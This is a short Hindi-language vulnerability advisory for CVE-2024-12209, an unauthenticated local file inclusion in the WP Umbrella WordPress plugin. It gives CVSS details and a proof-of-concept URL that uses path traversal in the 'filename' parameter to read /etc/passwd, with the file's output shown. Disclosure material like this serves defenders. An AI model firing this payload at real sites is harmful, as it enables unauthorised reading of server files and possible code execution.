CVE-2024-12209

WP Umbrella: अपडेट बैकअप रीस्टोर और मॉनिटरिंग <= 2.17.0 - बिना प्रमाणीकरण के स्थानीय फ़ाइल समावेशन

विवरण

WP Umbrella: अपडेट बैकअप रीस्टोर और मॉनिटरिंग प्लगइन WordPress के लिए सभी संस्करणों में 2.17.0 तक (सम्मिलित) 'umbrella-restore' क्रिया के 'filename' पैरामीटर के माध्यम से स्थानीय फ़ाइल समावेशन के लिए संवेदनशील है। यह बिना प्रमाणीकरण के हमलावरों को सर्वर पर मनमानी फ़ाइलों को शामिल करने और निष्पादित करने में सक्षम बनाता है, जिससे उन फ़ाइलों में किसी भी PHP कोड का निष्पादन संभव हो जाता है। इसका उपयोग पहुँच नियंत्रण को बायपास करने, संवेदनशील डेटा प्राप्त करने, या उन मामलों में कोड निष्पादन प्राप्त करने के लिए किया जा सकता है जहाँ चित्र और अन्य “सुरक्षित” फ़ाइल प्रकार अपलोड और शामिल किए जा सकते हैं।

विवरण

• प्रकार: plugin
• Slug: wp-health
• प्रभावित संस्करण: 2.17.0
• CVSS स्कोर: 9.8
• CVSS रेटिंग: गंभीर
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-12209
• स्थिति: सक्रिय

POC

https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin